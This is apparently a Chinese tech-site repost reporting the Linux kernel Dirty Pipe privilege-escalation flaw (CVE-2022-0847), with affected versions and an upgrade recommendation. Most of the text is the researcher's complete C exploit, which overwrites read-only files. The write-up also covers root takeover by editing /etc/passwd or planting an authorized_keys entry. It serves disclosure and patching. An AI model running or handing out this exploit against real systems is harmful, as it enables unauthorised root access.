Linux 内核最新高危提权漏洞：脏管道 (Dirty Pipe)

吾爱主题阅读：155 2024-04-05 13:53:54 评论：0

来自 CM4all 的安全研究员 Max Kellermann 披露了一个 Linux 内核的高危提权漏洞：脏管道 (Dirty Pipe)。漏洞编号为 CVE-2022-0847。

据介绍，此漏洞自 5.8 版本起就已存在。非 root 用户通过注入和覆盖只读文件中的数据，从而获得 root 权限。因为非特权进程可以将代码注入 root 进程。

Max 表示，“脏管道”漏洞与几年前的“脏牛”类似，所以采用了相似的名字，不过前者更容易被利用。此外，该漏洞目前已被黑客利用，研究人员建议尽快升级版本，Linux 5.16.11、5.15.25 和 5.10.102 均已修复了此漏洞。

Max 在文章中提供了漏洞 PoC。

/* SPDX-License-Identifier: GPL-2.0 */ /*  * Copyright 2022 CM4all GmbH / IONOS SE  *  * author: Max Kellermann 
    *  * Proof-of-concept exploit for the Dirty Pipe  * vulnerability (CVE-2022-0847) caused by an uninitialized  * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any  * file contents in the page cache, even if the file is not permitted  * to be written, immutable or on a read-only mount.  *  * This exploit requires Linux 5.8 or later; the code path was made  * reachable by commit f6dd975583bd ("pipe: merge  * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was  * there before, it just provided an easy way to exploit it.  *  * There are two major limitations of this exploit: the offset cannot  * be on a page boundary (it needs to write one byte before the offset  * to add a reference to this page to the pipe), and the write cannot  * cross a page boundary.  *  * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'  *  * Further explanation: https://dirtypipe.cm4all.com/  */ #define _GNU_SOURCE #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/user.h> #ifndef PAGE_SIZE #define PAGE_SIZE 4096 #endif /**  * Create a pipe where all "bufs" on the pipe_inode_info ring have the  * PIPE_BUF_FLAG_CAN_MERGE flag set.  */ static void prepare_pipe(int p[2])
{ if (pipe(p)) abort(); const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096]; /* fill the pipe completely; each pipe_buffer will now have  the PIPE_BUF_FLAG_CAN_MERGE flag */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n;
  } /* drain the pipe, freeing all pipe_buffer instances (but  leaving the flags initialized) */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n;
  } /* the pipe is now empty, and if somebody adds a new  pipe_buffer without initializing its "flags", the buffer  will be mergeable */ } int main(int argc, char **argv)
{ if (argc != 4) { fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]); return EXIT_FAILURE;
  } /* dumb command-line argument parser */ const char *const path = argv[1]; loff_t offset = strtoul(argv[2], NULL, 0); const char *const data = argv[3]; const size_t data_size = strlen(data); if (offset % PAGE_SIZE == 0) { fprintf(stderr, "Sorry, cannot start writing at a page boundary\n"); return EXIT_FAILURE;
  } const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; const loff_t end_offset = offset + (loff_t)data_size; if (end_offset > next_page) { fprintf(stderr, "Sorry, cannot write across a page boundary\n"); return EXIT_FAILURE;
  } /* open the input file and validate the specified offset */ const int fd = open(path, O_RDONLY); // yes, read-only! :-) if (fd < 0) { perror("open failed"); return EXIT_FAILURE;
  } struct stat st; if (fstat(fd, &st)) { perror("stat failed"); return EXIT_FAILURE;
  } if (offset > st.st_size) { fprintf(stderr, "Offset is not inside the file\n"); return EXIT_FAILURE;
  } if (end_offset > st.st_size) { fprintf(stderr, "Sorry, cannot enlarge the file\n"); return EXIT_FAILURE;
  } /* create the pipe with all flags initialized with  PIPE_BUF_FLAG_CAN_MERGE */ int p[2]; prepare_pipe(p); /* splice one byte from before the specified offset into the  pipe; this will add a reference to the page cache, but  since copy_page_to_iter_pipe() does not initialize the  "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ --offset; ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); if (nbytes < 0) { perror("splice failed"); return EXIT_FAILURE;
  } if (nbytes == 0) { fprintf(stderr, "short splice\n"); return EXIT_FAILURE;
  } /* the following write will not create a new pipe_buffer, but  will instead write into the page cache, because of the  PIPE_BUF_FLAG_CAN_MERGE flag */ nbytes = write(p[1], data, data_size); if (nbytes < 0) { perror("write failed"); return EXIT_FAILURE;
  } if ((size_t)nbytes < data_size) { fprintf(stderr, "short write\n"); return EXIT_FAILURE;
  } printf("It worked!\n"); return EXIT_SUCCESS;
}

据介绍，本地用户可以将自己的数据注入敏感的只读文件，消除限制或修改配置以获得更高的权限。有研究人员通过利用该漏洞修改 /etc/passwd 文件进行了举例，修改后可直接取消 root 用户的密码，然后普通用户使用 su root 命令即可获得 root 账户的访问权限。还有研究人员发现，使用 /usr/bin/su 命令删除 /tmp/sh 中的 root shell 可以更容易获取 root 权限。

最后，建议各位检查所使用的 Linux 服务器的内核版本，若是 5.8 以上的版本请尽快升级。

脏管道 (Dirty Pipe) 漏洞时间线：